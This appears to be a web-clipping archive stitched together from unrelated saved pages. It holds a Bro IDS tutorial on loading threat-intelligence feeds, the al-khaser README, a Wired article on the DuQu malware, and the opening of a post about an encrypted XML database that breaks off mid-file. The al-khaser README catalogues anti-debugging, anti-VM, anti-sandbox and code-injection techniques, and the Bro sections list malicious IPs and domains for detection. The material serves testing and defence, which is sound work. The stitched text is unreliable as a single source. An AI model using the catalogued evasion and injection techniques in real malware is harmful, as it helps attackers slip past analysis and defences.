> id.resp\_h:| Connection responder's endpoint IP address  
> id.resp\_p:| Connection responder's endpoint TCP/UDP or ICMP code  
> fuid:| File indentifier \(if file was found in connection\)  
> file\_mime\_type:| Libmagic file type \(e.g. application/x-dosexec\)  
> file\_desc:| Optional file type description  
> seen.indicator:| The indicator that triggered the match \(e.g. IP\)  
> seen.indicator\_type:  
> | The type of indicator \(e.g. ADDR, DOMAIN\)  
> seen.where:| Location in Bro's where the event triggered \(e.g.
> DNS::REQUEST\)  
> sources:| Intel data source description \(e.g. emergingthreats.net\)  
# Intel Framework

The Intel Framework provides the facilities to handle intelligence data in a
meaningful manner \(e.g. categorization, types, source, etc.\). \[1\]

Supported types of intelligence data indicators are:

[code]

    Intel::ADDR
    Intel::URL
    Intel::SOFTWARE
    Intel::EMAIL
    Intel::DOMAIN
    Intel::USER_NAME
    Intel::FILE_HASH
    Intel::FILE_NAME
    Intel::CERT_HASH
    
[/code]

Before we can use the framework we must load it by adding the following lines
to local.bro or equivalent:

[code]

    @load frameworks/intel/seen
    @load frameworks/intel/do_notice
    
[/code]

The next step is to properly format the data set. Each field must be separated
by a single tab character.

[code]

    #fields indicator       indicator_type  meta.source     meta.url        meta.do_notice  meta.if_in
    1.182.117.119   Intel::ADDR     ciarmy  http://www.ciarmy.com/list/ci-badguys.txt       T       -
    2.187.28.215    Intel::ADDR     ciarmy  http://www.ciarmy.com/list/ci-badguys.txt       T       -
    2.229.117.159   Intel::ADDR     ciarmy  http://www.ciarmy.com/list/ci-badguys.txt       T       -
    4.35.96.216     Intel::ADDR     ciarmy  http://www.ciarmy.com/list/ci-badguys.txt       T       -
    5.79.69.204     Intel::ADDR     ciarmy  http://www.ciarmy.com/list/ci-badguys.txt       T       -
    5.135.146.0     Intel::ADDR     ciarmy  http://www.ciarmy.com/list/ci-badguys.txt       T       -
    5.135.240.133   Intel::ADDR     ciarmy  http://www.ciarmy.com/list/ci-badguys.txt       T       -
    5.153.54.130    Intel::ADDR     ciarmy  http://www.ciarmy.com/list/ci-badguys.txt       T       -
    5.254.101.69    Intel::ADDR     ciarmy  http://www.ciarmy.com/list/ci-badguys.txt       T       -
    
[/code]

Also, each field has a particular type of value. Two worthy of mention are
_meta.do\_notice_ and _meta.if\_in_ because they work with the Notice
Framework. _meta.do\_notice_ expects a boolean value which determines whether
matches will be sent to the Notice Framework where entries will end up in
notice.log, in addition to the normal intel.log.

[code]

    $ grep Intel notice.log
    1389636016.229788       CNXlzu1VdMhKVEDCPf      23.58.90.219  52518   184.72.106.52   443     -       -       -       tcp     Intel::Notice   Intel hit on 184.72.106.52 at Conn::IN_RESP     184.72.106.52   23.58.90.219  184.72.106.52   443
    1389636016.517027       Cr1u7g2pFxgSzHBsRf      234.136.242.173 52519   184.72.106.52   443     -       -       -       tcp     Intel::Notice   Intel hit on 184.72.106.52 at Conn::IN_RESP     184.72.106.52  234.136.242.173 184.72.106.52   443
    ...
    
[/code]

_meta.if\_in_ concerns itself with where a particular match was found in
network traffic \(e.g. _HTTP::IN\_HOST\_HEADER_\) and serves as a restriction
for matches sent to the Notice Framework i.e. they must be found in the
location of meta.if\_in.

**Note:** _meta.if\_in_ takes a single location value. If you would to like to
specify more than one location for an indicator you will need an entry for
each location you desire to be seen. e.g.

[code]

    #fields indicator       indicator_type  meta.source     meta.url        meta.do_notice  meta.if_in
    aolon1ine.com   Intel::DOMAIN   mandiant        -       T       DNS::IN_REQUEST
    aolon1ine.com   Intel::DOMAIN   mandiant        -       T       HTTP::IN_HOST_HEADER
    aolon1ine.com   Intel::DOMAIN   mandiant        -       T       SMTP::IN_FROM
    
[/code]

The list of possible _meta.if\_in_ locations are: \[2\]

[code]

    Conn::IN_ORIG
    Conn::IN_RESP
    Files::IN_HASH
    Files::IN_NAME
    DNS::IN_REQUEST
    DNS::IN_RESPONSE
    HTTP::IN_HOST_HEADER
    HTTP::IN_REFERRER_HEADER
    HTTP::IN_USER_AGENT_HEADER
    HTTP::IN_X_FORWARDED_FOR_HEADER
    HTTP::IN_URL
    SMTP::IN_MAIL_FROM
    SMTP::IN_RCPT_TO
    SMTP::IN_FROM
    SMTP::IN_TO
    SMTP::IN_RECEIVED_HEADER
    SMTP::IN_REPLY_TO
    SMTP::IN_X_ORIGINATING_IP_HEADER
    SMTP::IN_MESSAGE
    SSL::IN_SERVER_CERT
    SSL::IN_CLIENT_CERT
    SSL::IN_SERVER_NAME
    SMTP::IN_HEADER
    
[/code]

# Input Framework

The Input Framework \[3\] provides the facilities to read information from a
text file, and in our case send it to the Intel Framework for processing.

**Note:** If you're running a Bro cluster, the intelligence files only need to
be stored and read on the manager.

An absolute file path is required to read from a file. Three ways to do this
are:

  1. Specify the file's full path
  2. Append the file name to @DIR which stores the directory path of the calling script. If the script with Intel::read\_files is not in the same directory as the intel data sets this will not work.
  3. Create a constant that's value is the directory path in local.bro or equivalent.
[code]    const feed_directory = "/opt/bro/feeds";

    
[/code]

Here's an example using all three methods:

[code]

    redef Intel::read_files += {
            @DIR + "/botcc.intel",
            @DIR + "/ciarmy.intel",
            "/opt/bro/feeds/malhosts.intel",
            "/opt/bro/feeds/malips.intel",
            feed_directory + "/tor.intel",
            feed_directory + "/snort.intel",
    };
    
[/code]

# Obtaining Feeds

Two solutions for obtaining pre-formatted feeds for Bro to use are mal-
dns2bro, a helper script for mal-dnssearch, or the Collective Intelligence
Framework and its Bro output plug-in.

## Mal-dns2bro

Mal-dnssearch \[4\] is a shell script I wrote that downloads, parses, and
compares intelligence feeds against a number of popular application log files,
reporting any matches. mal-dns2bro \[5\] is a helper script included with mal-
dnssearch that formats feeds for Bro's Intel Framework to extend the
application of intelligence data directly against live network traffic. mal-
dns2bro has the ability to customize Intel Framework fields like setting
meta.source, meta.url, meta.do\_notice, and meta.if\_in.

> mal-dnssearch supports a number of feeds, \`\`mal-dnssearch -h'':
[code]

>     Malware List Options:
>             -M <list>               Name of list, e.g. \`\`-M snort\'\'
>  
>             List:      |     Description:
>             snort      -     http://labs.snort.org/feeds/ip-filter.blf (IP)
>             et_ips     -
> http://rules.emergingthreats.net/open/suricata/rules/compromised-ips.txt
> (IP)
>             alienvault -
> http://reputation.alienvault.com/reputation.generic (BIG file) (IP)
>             botcc      -
> http://rules.emergingthreats.net/open/suricata/rules/botcc.rules (IP)
>             tor        -
> http://rules.emergingthreats.net/open/suricata/rules/tor.rules (IP)
>             rbn        -
> http://rules.emergingthreats.net/blockrules/emerging-rbn.rules (IP)
>             malhosts   -
> http://www.malwaredomainlist.com/hostslist/hosts.txt (DNS)
>             malips     -
> http://www.malwaredomainlist.com/hostslist/ip.txt (IP)
>             ciarmy     -     http://www.ciarmy.com/list/ci-badguys.txt (IP)
>             mayhemic   -
> http://secure.mayhemiclabs.com/malhosts/malhosts.txt (DNS)
>             mandiant   -     https://raw.github.com/jonschipp/mal-
> dnssearch/master/mandiant_apt1.dns (DNS)
>  
[/code]

Download and install mal-dnssearch:

[code]

    $ git clone https://github.com/jonschipp/mal-dnssearch
    $ cd mal-dnssearch
    $ sudo make install
    
[/code]

Download Mandiant's APT1 data set, parse, and pipe \(\`\`-p''\) it to mal-
dns2bro for formatting:

[code]

    $ mal-dnssearch -M mandiant -p | mal-dns2bro -T dns -s mandiant > mandiant.intel
    
[/code]

Sample file output:

[code]

    #fields indicator       indicator_type  meta.source     meta.url        meta.do_notice  meta.if_in
    advanbusiness.com       Intel::DOMAIN   mandiant        -       F       -
    aoldaily.com    Intel::DOMAIN   mandiant        -       F       -
    aolon1ine.com   Intel::DOMAIN   mandiant        -       F       -
    applesoftupdate.com     Intel::DOMAIN   mandiant        -       F       -
    
[/code]

In the example above, mal-dns2bro reads in the mandiant list from stdin and
sets the indicator type \(\`\`-T''\) to DNS because the mandiant list consists
of only DNS names. The source \(\`\`-s''\) field is also set which is a short
description of where the intelligence data came from.

mal-dns2bro will add the necessary tab separated columns for the Intel
Framework. It accepts a list of a specific indicator type, but supports all of
them, with one entry per line. It can read from stdin or from a file
\(\`\`-f''\). If you don't want to use mal-dnssearch, you can create your own
lists with a text editor or other program and have mal-dns2bro format them for
Bro.

Another example, downloading a list of tor nodes and customizing all fields:

[code]

    $ mal-dnssearch -M tor -p | mal-dns2bro -T ip -s tor -n true -u http://rules.emergingthreats.net/open/suricata/rules/tor.rules > tor.intel
    
[/code]

Sample file output:

[code]

    #fields indicator       indicator_type  meta.source     meta.url        meta.do_notice  meta.if_in
    103.10.197.50   Intel::ADDR     tor     http://rules.emergingthreats.net/open/suricata/rules/tor.rules  T       Conn::IN_RESP
    103.3.188.169   Intel::ADDR     tor     http://rules.emergingthreats.net/open/suricata/rules/tor.rules  T       Conn::IN_RESP
    105.237.43.166  Intel::ADDR     tor     http://rules.emergingthreats.net/open/suricata/rules/tor.rules  T       Conn::IN_RESP
    106.186.21.31   Intel::ADDR     tor     http://rules.emergingthreats.net/open/suricata/rules/tor.rules  T       Conn::IN_RESP
    
[/code]

In this last example, two new options are introduced: mal-dns2bro sets
_meta.do.notice_ to true \(\`\`-n''\) which will send intel matches to the
notice framework: the source URL, when applicable, is set \(\`\`-u''\).

## Collective Intelligence Framework

The Collective Intelligence Framework \(CIF\) is a cyber threat intelligence
management system that pulls and stores feeds into a database for querying
with CIF's tools. \[6\] CIF comes with a number of output plug-ins including
one for Bro.

Installing CIF is pretty involved so I will refer the reader to its
documentation. \[7\]

The CIF plug-in for Bro outputs a few different fields than we've seen so far:
meta.cif\_impact, meta.cif\_severity, and meta,cif\_confidence. Because of
this we will need to load a Bro script, in addition to those required for the
Intel Framework, that can handle these.

Add the following line to local.bro or equivalent:

[code]

    @load policy/integration/collective-intel
    
[/code]

Now, lets output domains related to botnets with a confidence level of 85 or
greater formatted for Bro.

[code]

    $ cif -q domain/botnet -c 85 -p bro > domain_botnet.intel
    
[/code]

Sample file output:

[code]

    #fields indicator       indicator_type  meta.source     meta.desc       meta.url        meta.cif_impact meta.cif_severity       meta.cif_confidence
    computo164.laweb.es     Intel::DOMAIN   CIF - need-to-know      palevo  https://palevotracker.abuse.ch/?host=computo164.laweb.es (public)       -       high    85
    ms4all.twoplayers.net   Intel::DOMAIN   CIF - need-to-know      palevo  https://palevotracker.abuse.ch/?host=ms4all.twoplayers.net (public)     -       high    85
    hcuewgbbnfdu1ew.com     Intel::DOMAIN   CIF - need-to-know      palevo  https://palevotracker.abuse.ch/?host=hcuewgbbnfdu1ew.com (public)       -       high    85
    arta.romail3arnest.info Intel::DOMAIN   CIF - need-to-know      palevo  https://palevotracker.abuse.ch/?host=arta.romail3arnest.info (public)   -       high    85
    
[/code]

Create a list of machines known for scanning the internet:

[code]

    $ cif -q infrastructure/scan -c 85 -p bro > intrastructure_scan.intel
    
[/code]

Sample file output:

[code]

    #fields indicator       indicator_type  meta.source     meta.desc       meta.url        meta.cif_impact meta.cif_severity       meta.cif_confidence
    192.74.251.115  Intel::ADDR     CIF - need-to-know      ssh     http://danger.rulez.sk/projects/bruteforceblocker/blist.php (public)    -       medium  85
    117.41.247.212  Intel::ADDR     CIF - need-to-know      ssh     http://danger.rulez.sk/projects/bruteforceblocker/blist.php (public)    -       medium  85
    133.242.171.75  Intel::ADDR     CIF - need-to-know      ssh     http://danger.rulez.sk/projects/bruteforceblocker/blist.php (public)    -       medium  85
    
[/code]

# E-mailing Notices

This section presumes that Intel events are sent to the Notice Framework
\[8\], described in the Intel section of this article.

Each time a Intel::Match event is generated, the intel data for that match is
sent to the Notice Framework where a Notice is raised that has a type of
Intel::Notice. To receive e-mail notifications upon a match add the following
Notice type to emailed\_types in local.bro or equivalent:

[code]

    redef Notice::emailed_types += {
            Intel::Notice,
    };
    
[/code]

Suppression can be used to reduce the number of events generated for a
specific Intel match. To limit each particular match to once per day add the
following lines to local.bro or equivalent:

[code]

    redef Notice::type_suppression_intervals += {
            [Intel::Notice] = 1day,
    };
    
[/code]

# Log Queries

Bro-cut can be used to print fields in Bro logs. The following example will
print a list of indicators only i.e. the host, hash, e-mail, etc. that
triggered the match.

[code]

    $ bro-cut seen.indicator < intel.log
    61.36.24.57
    193.107.16.206
    192.0.72.2
    ...
    
[/code]

To print a unique list of all ADDR types and the number of times they were
seen try the following query. If you count be the number of fields 11 is
seen.indicator\_type and field 10 is seen.indicator:

[code]

    $ awk '$11 == "Intel::ADDR" { print $10 }' intel.log | sort -t . -n -k 1,1 -k 2,2 -k 3,3 -k 4,4 | uniq -c
    190 61.36.24.57
    1 93.120.27.62
    3 93.184.215.163
    1 96.45.82.69
    7 192.0.72.2
    2 193.107.16.206
    
[/code]

The next example illustrates an intel match found in the host field of the
HTTP header.

[code]

    1390425478.178039       CQzyg512Q8Mm2UrTc4       53.80.23.123   51220   65.52.128.33    80      -       -       -       tipranks.com    Intel::DOMAIN   HTTP::IN_HOST_HEADER    malhosts
    
[/code]

Since the above connection is using HTTP there are bound to be more logs
related to the connection such as those produced by the HTTP analyzer. We can
search all Bro's logs for the connection identifier, a 4-tuple flow hash, to
find other logs related to that connection.

[code]

    $ zgrep CQzyg512Q8Mm2UrTc4 *.log.gz
    1390425478.076356 CQzyg512Q8Mm2UrTc4      53.80.23.123 51220   65.52.128.33    80      tcp     http    123.242140      397     981     RSTR    T       0       ShADadr 12      1302    12      2514    (empty) US      US      nids-31-2
    1390425478.398364        FQSaaGSHQsLn11w8j       65.52.128.33    53.80.23.123 CQzyg512Q8Mm2UrTc4      HTTP    0       SHA1,MD5        text/plain      -       0.000000        F       F       595     -       0       0       F       -       d6923c591dfa3cb616327a0bb44375b3        aa5438c500083ee69297d8c1a2ab4f82655c4632      -       -
    1390425478.179990        CQzyg512Q8Mm2UrTc4      53.80.23.123 51220   65.52.128.33    80      1       GET     tipranks.com    /valuewalk/tipranks.js  http://www.valuewalk.com/2014/01/advanced-micro-devices-inc-amd-shares-dive-after-earnings/     Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36  0       595     200     OK      -       -       -       (empty) -       -       -       -       -       FQSaaGSHQsLn11w8j       text/plain
    1390425478.178039        CQzyg512Q8Mm2UrTc4      53.80.23.123 51220   65.52.128.33    80      -       -       -       65.52.128.33    Intel::ADDR     Conn::IN_RESP   malips
    1390425478.178039        CQzyg512Q8Mm2UrTc4      53.80.23.123 51220   65.52.128.33    80      -       -       -       tipranks.com    Intel::DOMAIN   HTTP::IN_HOST_HEADER    malhosts
    
[/code]

We found a number of events detailing the connection, these include the URL
the user visited, the type of file that was transferred in the session, and
another intel match from a different intel source. This is especially useful
in cases where there are more than one HTTP request in a single TCP session.

# Putting it all together

A powerful but simple solution is to write a daily cronjob that downloads and
formats the latest version of each feed from which Bro continuously reads and
then restarts Bro, if necessary. A restart is required if you want to purge
entries that have been removed from the feeds, but not if you only want the
new entries because Bro keeps the file open and will pick up any new
additions.

If you come across any trouble be sure to check reporter.log.

# LordNoteworthy/al-khaser

**Created:**| _11/23/2017 9:37:29 AM_  
---|---  
**Updated:**| _11/23/2017 9:37:29 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  README.md

## Al-Khaser v0.70

<img
src='img/68747470733a2f2f7777772e6d696e646d6569737465722e636f6d2f66696c65732f617661746172732f303033352f383333322f6f726967696e616c2f6176617461722e6a7067.jpg'
width='285' height='320' alt='Logo' />

## Content

  * Introduction
  * Possible uses
  * Features
  * Anti-debugging attacks
  * Anti-Dumping
  * Timing Attacks
  * Human Interaction
  * Anti-VM
  * Requirements
  * License

## Introduction

al-khaser is a PoC malware with good intentions that aimes to stress your
anti-malware system. It performs a bunch of nowadays malwares tricks and the
goal is to see if you stay under the radar.

<img
src='img/68747470733a2f2f692e696d6775722e636f6d2f6a454668734a542e706e67.png'
width='886' height='893' alt='Logo' />

## Download

You can download the last release here.

## Possible uses

  * You are making an anti-debug plugin and you want to check its effectiveness.
  * You want to ensure that your sandbox solution is hidden enough.
  * Or you want to ensure that your malware analysis environement is well hidden.

Please, if you encounter any of the anti-analysis tricks which you have seen
in a malware, don't hesitate to contribute.

## Features

### Anti-debugging attacks

  * IsDebuggerPresent
  * CheckRemoteDebuggerPresent
  * Process Environement Block \(BeingDebugged\)
  * Process Environement Block \(NtGlobalFlag\)
  * ProcessHeap \(Flags\)
  * ProcessHeap \(ForceFlags\)
  * NtQueryInformationProcess \(ProcessDebugPort\)
  * NtQueryInformationProcess \(ProcessDebugFlags\)
  * NtQueryInformationProcess \(ProcessDebugObject\)
  * NtSetInformationThread \(HideThreadFromDebugger\)
  * NtQueryObject \(ObjectTypeInformation\)
  * NtQueryObject \(ObjectAllTypesInformation\)
  * CloseHanlde \(NtClose\) Invalide Handle
  * SetHandleInformation \(Protected Handle\)
  * UnhandledExceptionFilter
  * OutputDebugString \(GetLastError\(\)\)
  * Hardware Breakpoints \(SEH / GetThreadContext\)
  * Software Breakpoints \(INT3 / 0xCC\)
  * Memory Breakpoints \(PAGE\_GUARD\)
  * Interrupt 0x2d
  * Interrupt 1
  * Parent Process \(Explorer.exe\)
  * SeDebugPrivilege \(Csrss.exe\)
  * NtYieldExecution / SwitchToThread
  * TLS callbacks

### Anti-Dumping

  * Erase PE header from memory
  * SizeOfImage

### Timing Attacks \[Anti-Sandbox\]

  * RDTSC \(with CPUID to force a VM Exit\)
  * RDTSC \(Locky version with GetProcessHeap & CloseHandle\)
  * Sleep -> SleepEx -> NtDelayExecution
  * Sleep \(in a loop a small delay\)
  * Sleep and check if time was accelerated \(GetTickCount\)
  * SetTimer \(Standard Windows Timers\)
  * timeSetEvent \(Multimedia Timers\)
  * WaitForSingleObject -> WaitForSingleObjectEx -> NtWaitForSingleObject
  * WaitForMultipleObjects -> WaitForMultipleObjectsEx -> NtWaitForMultipleObjects \(todo\)
  * IcmpSendEcho \(CCleaner Malware\)
  * CreateWaitableTimer \(todo\)
  * CreateTimerQueueTimer \(todo\)
  * Big crypto loops \(todo\)

### Human Interaction / Generic \[Anti-Sandbox\]

  * Mouse movement
  * Total Physical memory \(GlobalMemoryStatusEx\)
  * Disk size using DeviceIoControl \(IOCTL\_DISK\_GET\_LENGTH\_INFO\)
  * Disk size using GetDiskFreeSpaceEx \(TotalNumberOfBytes\)
  * Mouse \(Single click / Double click\) \(todo\)
  * DialogBox \(todo\)
  * Scrolling \(todo\)
  * Execution after reboot \(todo\)
  * Count of processors \(Win32/Tinba - Win32/Dyre\)
  * Sandbox known product IDs \(todo\)
  * Color of background pixel \(todo\)
  * Keyboard layout \(Win32/Banload\) \(todo\)

### Anti-Virtualization / Full-System Emulation

  * **Registry key value artifacts**
    * HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 \(Identifier\) \(VBOX\)
    * HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 \(Identifier\) \(QEMU\)
    * HARDWARE\Description\System \(SystemBiosVersion\) \(VBOX\)
    * HARDWARE\Description\System \(SystemBiosVersion\) \(QEMU\)
    * HARDWARE\Description\System \(VideoBiosVersion\) \(VIRTUALBOX\)
    * HARDWARE\Description\System \(SystemBiosDate\) \(06/23/99\)
    * HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 \(Identifier\) \(VMWARE\)
    * HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0 \(Identifier\) \(VMWARE\)
    * HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0 \(Identifier\) \(VMWARE\)
  * **Registry Keys artifacts**
    * "HARDWARE\ACPI\DSDT\VBOX\_\_"
    * "HARDWARE\ACPI\FADT\VBOX\_\_"
    * "HARDWARE\ACPI\RSDT\VBOX\_\_"
    * "SOFTWARE\Oracle\VirtualBox Guest Additions"
    * "SYSTEM\ControlSet001\Services\VBoxGuest"
    * "SYSTEM\ControlSet001\Services\VBoxMouse"
    * "SYSTEM\ControlSet001\Services\VBoxService"
    * "SYSTEM\ControlSet001\Services\VBoxSF"
    * "SYSTEM\ControlSet001\Services\VBoxVideo"
    * SOFTWARE\VMware, Inc.\VMware Tools
    * SOFTWARE\Wine
  * **File system artifacts**
    * "system32\drivers\VBoxMouse.sys"
    * "system32\drivers\VBoxGuest.sys"
    * "system32\drivers\VBoxSF.sys"
    * "system32\drivers\VBoxVideo.sys"
    * "system32\vboxdisp.dll"
    * "system32\vboxhook.dll"
    * "system32\vboxmrxnp.dll"
    * "system32\vboxogl.dll"
    * "system32\vboxoglarrayspu.dll"
    * "system32\vboxoglcrutil.dll"
    * "system32\vboxoglerrorspu.dll"
    * "system32\vboxoglfeedbackspu.dll"
    * "system32\vboxoglpackspu.dll"
    * "system32\vboxoglpassthroughspu.dll"
    * "system32\vboxservice.exe"
    * "system32\vboxtray.exe"
    * "system32\VBoxControl.exe"
    * "system32\drivers\vmmouse.sys"
    * "system32\drivers\vmhgfs.sys"
  * **Directories artifacts**
    * "%PROGRAMFILES%\oracle\virtualbox guest additions\"
    * "%PROGRAMFILES%\VMWare\"
  * **Memory artifacts**
    * Interupt Descriptor Table \(IDT\) location
    * Local Descriptor Table \(LDT\) location
    * Global Descriptor Table \(GDT\) location
    * Task state segment trick with STR
  * **MAC Address**
    * "\x08\x00\x27" \(VBOX\)
    * "\x00\x05\x69" \(VMWARE\)
    * "\x00\x0C\x29" \(VMWARE\)
    * "\x00\x1C\x14" \(VMWARE\)
    * "\x00\x50\x56" \(VMWARE\)
  * **Virtual devices**
    * "\\\\.\VBoxMiniRdrDN"
    * "\\\\.\VBoxGuest"
    * "\\\\.\pipe\VBoxMiniRdDN"
    * "\\\\.\VBoxTrayIPC"
    * "\\\\.\pipe\VBoxTrayIPC"\)
    * "\\\\.\HGFS"
    * "\\\\.\vmci"
  * **Hardware Device information**
    * SetupAPI SetupDiEnumDeviceInfo \(GUID\_DEVCLASS\_DISKDRIVE\) 
      * QEMU
      * VMWare
      * VBOX
      * VIRTUAL HD
  * **Adapter name**
    * VMWare
  * **Windows Class**
    * VBoxTrayToolWndClass
    * VBoxTrayToolWnd
  * **Network shares**
    * VirtualBox Shared Folders
  * **Processes**
    * vboxservice.exe \(VBOX\)
    * vboxtray.exe \(VBOX\)
    * vmtoolsd.exe \(VMWARE\)
    * vmwaretray.exe \(VMWARE\)
    * vmwareuser \(VMWARE\)
    * vmsrvc.exe \(VirtualPC\)
    * vmusrvc.exe \(VirtualPC\)
    * prl\_cc.exe \(Parallels\)
    * prl\_tools.exe \(Parallels\)
    * xenservice.exe \(Citrix Xen\)
  * **WMI**
    * SELECT \* FROM Win32\_Bios \(SerialNumber\) \(VMWARE\)
    * SELECT \* FROM Win32\_PnPEntity \(DeviceId\) \(VBOX\)
    * SELECT \* FROM Win32\_NetworkAdapterConfiguration \(MACAddress\) \(VBOX\)
    * SELECT \* FROM Win32\_NTEventlogFile \(VBOX\)
    * SELECT \* FROM Win32\_Processor \(NumberOfCores\) \(GENERIC\)
    * SELECT \* FROM Win32\_LogicalDisk \(Size\) \(GENERIC\)
  * **DLL Exports and Loaded DLLs**
    * kernel32.dll\!wine\_get\_unix\_file\_nameWine \(Wine\)
    * sbiedll.dll \(Sandboxie\)
    * dbghelp.dll \(MS debugging support routines\)
    * api\_log.dll \(iDefense Labs\)
    * dir\_watch.dll \(iDefense Labs\)
    * pstorec.dll \(SunBelt Sandbox\)
    * vmcheck.dll \(Virtual PC\)
    * wpespy.dll \(WPE Pro\)
  * **CPU**
    * Hypervisor presence using \(EAX=0x1\)
    * Hypervisor vendor using \(EAX=0x40000000\) 
      * "KVMKVMKVM\0\0\0" \(KVM\)
      * "Microsoft Hv" \(Microsoft Hyper-V or Windows Virtual PC\)
      * "VMwareVMware" \(VMware\)
      * "XenVMMXenVMM" \(Xen\)
      * "prl hyperv " \( Parallels\) -"VBoxVBoxVBox" \( VirtualBox\)

### Anti-Analysis

  * **Processes**
    * OllyDBG / ImmunityDebugger / WinDbg / IDA Pro
    * SysInternals Suite Tools \(Process Explorer / Process Monitor / Regmon / Filemon, TCPView, Autoruns\)
    * Wireshark / Dumpcap
    * ProcessHacker / SysAnalyzer / HookExplorer / SysInspector
    * ImportREC / PETools / LordPE
    * JoeBox Sandbox

### Macro malware attacks

  * Document\_Close / Auto\_Close.
  * Application.RecentFiles.Count

### Code/DLL Injections techniques

  * CreateRemoteThread
  * SetWindowsHooksEx
  * NtCreateThreadEx
  * RtlCreateUserThread
  * APC \(QueueUserAPC / NtQueueApcThread\)
  * RunPE \(GetThreadContext / SetThreadContext\)

## Contributors

  * mrexodia: Main developer of x64dbg
  * JoeSecurity: PafishMacro

## References

  * An Anti-Reverse Engineering Guide By Josh Jackson.
  * Anti-Unpacker Tricks By Peter Ferrie.
  * The Art Of Unpacking By Mark Vincent Yason.
  * Walied Assar's blog http://waleedassar.blogspot.de/.
  * Pafish tool: https://github.com/a0rtega/pafish.

  

# DuQu Mystery Language Solved With the Help of Crowdsourcing | Threat Level | Wired.com
**Created:**| _3/19/2012 3:29:03 PM_  
---|---  
**Updated:**| _3/19/2012 3:29:03 PM_  
**Author:**| __  
**Tags:**| _compiler-building Malware-analysis_  
  

# DuQu Mystery Language Solved With the Help of Crowdsourcing

  * By Kim Zetter
  * Email Author
  * March 19, 2012 | 
  * 9:00 am | 
  * Categories: DuQu, Stuxnet

Follow @KimZetter

  * 

<img src='img/Temp2_2462.jpg' width='660' height='593' />A group of
researchers who recently asked the public for help in figuring out a
mysterious language used in the DuQu virus have solved the puzzle, thanks to
crowdsourcing help from programmers who wrote in to offer suggestions and
clues.

The language, which DuQu used to communicate with command-and-control servers,
turns out to be a special type of C code compiled with the Microsoft Visual
Studio Compiler 2008.

Researchers at Kaspersky Lab, who put out the call for help two weeks ago
after failing to figure out the language on their own, said they received more
than 200 comments to a blog post they wrote seeking help, and more than 60
direct emails from programmers and others who made suggestions.

DuQu, an espionage tool that followed in the wake of the infamous Stuxnet
code, had been analyzed extensively since its discovery last year. But one
part of the code remained a mystery – an essential component of the malware
that communicates with command-and-control servers and has the ability to
download additional payload modules and execute them on infected machines.

Kaspersky researchers were unable to determine the language in which the
communication module was written and published a blog post asking programmers
for help. Identification of the language would help them build a profile of
DuQu’s authors.

While other parts of DuQu were written in the C++ programming language and
were compiled with Microsoft’s Visual C++ 2008, this part was not. Kaspersky
also ruled out Objective C, Java, Python, Ada, Lua or many other languages
they knew.

Most commenters who wrote in response to Kaspersky’s plea thought the code was
a variant of LISP, but the reader who led them in the right direction was a
commenter who identified himself as Igor Skochinsky and wrote in a thread
posted to Reddit.com that he was certain the code was generated with the
Microsoft Visual Studio Compiler and offered some cogent reasons why he
believed this. Two other people who sent Kaspersky direct emails made crucial
contributions when they suggested that the code appeared to be generated from
a custom object-oriented C dialect — referred to as OO C — using special
extensions.

This led the researchers to test various combinations of compiler and source
codes over a few days until they found the right combination that produced
binary that matched the style in DuQu.

The magic combination was C code compiled with Microsoft Visual Studio
Compiler 2008 using options 01 and Ob1 in the compiler to keep the code small.

“Visual C can optimize for speed and it can optimize for size, or it can do
some kind of balance between the two,” says Costin Raiu, director of
Kaspersky’s Global Research and Analysis Team. “But they wanted obviously the
smallest possible size of code” to get it onto victim machines via an exploit.

A custom framework allowed DuQu’s authors to meld C code with object-oriented
programming.

The use of object-oriented C to write the event-driven code in DuQu reveals
something about the programmers who coded this part of DuQu – they were
probably old-school coders, Kaspersky’s researchers say. The programming style
is uncommon for malware and is more commonly found in professionally-produced
commercial software created ten years ago, Raiu says. The techniques make DuQu
stand out “like a gem form the large mass of ‘dumb’ malicious program we
normally see,” the Kaspersky researchers note.

The idea that the coders are “old school” is also supported by their use of C
over the more modern C++ language. Some commenters told Kaspersky that coders
who were actively programming a decade ago, didn’t like C++ because when
compiled, it was known to produce code that could be unpredictable.

“When you write C code, you can be sure that the program will be executed the
way you intend it to,” Raiu says. “With C++ it’s a bit different. In C++ you
have some language features, for instance constructors, which will be executed
transparently by the language. So you will never code a constructor directly.
Instead, the compiler codes the constructor for you \[and\] basically you lose
control of the whole thing. You can’t be sure that your code will be executed
in the way intended.”

It suggests that whoever coded this part of DuQu was conservative, precise,
and wanted 100 percent assurance that the code would work the way they wanted
it to work.

But there was one other reason DuQu’s old-school programmers might have
preferred C over C++ – its versatility. When C++ was initially developed, it
was not standardized and wouldn’t compile in every compiler. C was more
flexible. DuQu was delivered to Windows machines using a Microsoft Word zero-
day exploit. But Raiu thinks DuQu’s programmers might have chosen C because
they wanted to make sure that their code could be compiled with any compiler
on any platform, suggesting they were thinking ahead to other ways in which
their code might be used.

“Obviously when you create such a complex espionage tool, you take into
account that maybe some day you will run it on servers, maybe you will want to
run it on mobile phones or God knows what other devices, so you just want to
make sure your code will work everywhere,” he says.

# Dennis Yurichev: Encrypted database case \#1

**Created:**| _8/26/2015 4:53:31 PM_  
---|---  
**Updated:**| _8/26/2015 4:53:31 PM_  
**Author:**| __  
**Tags:**| _Databases crypto math_  
  

# Encrypted database case \#1

### Base64 and entropy

I've got the XML file containing some encrypted data. It's probably related to
some orders and/or customers information.

[code]

    <?versionencodingUTF-8?>
    Orders
    	Order
    		OrderID1</OrderID
    		yjmxhXUbhB/5MV45chPsXZWAJwIh1S0aD9lFn3XuJMSxJ3/E+UE3hsnH</
    	</Order
    	Order
    		OrderID2</OrderID
    		0KGe/wnypFBjsy+U0C2P9fC5nDZP3XDZLMPCRaiBw9OjIk6Tu5U=</
    	</Order
    	Order
    		OrderID3</OrderID
    		mqkXfdzvQKvEArdzh+zD9oETVGBFvcTBLs2ph1b5bYddExzp</
    	</Order
    	Order
    		OrderID4</OrderID
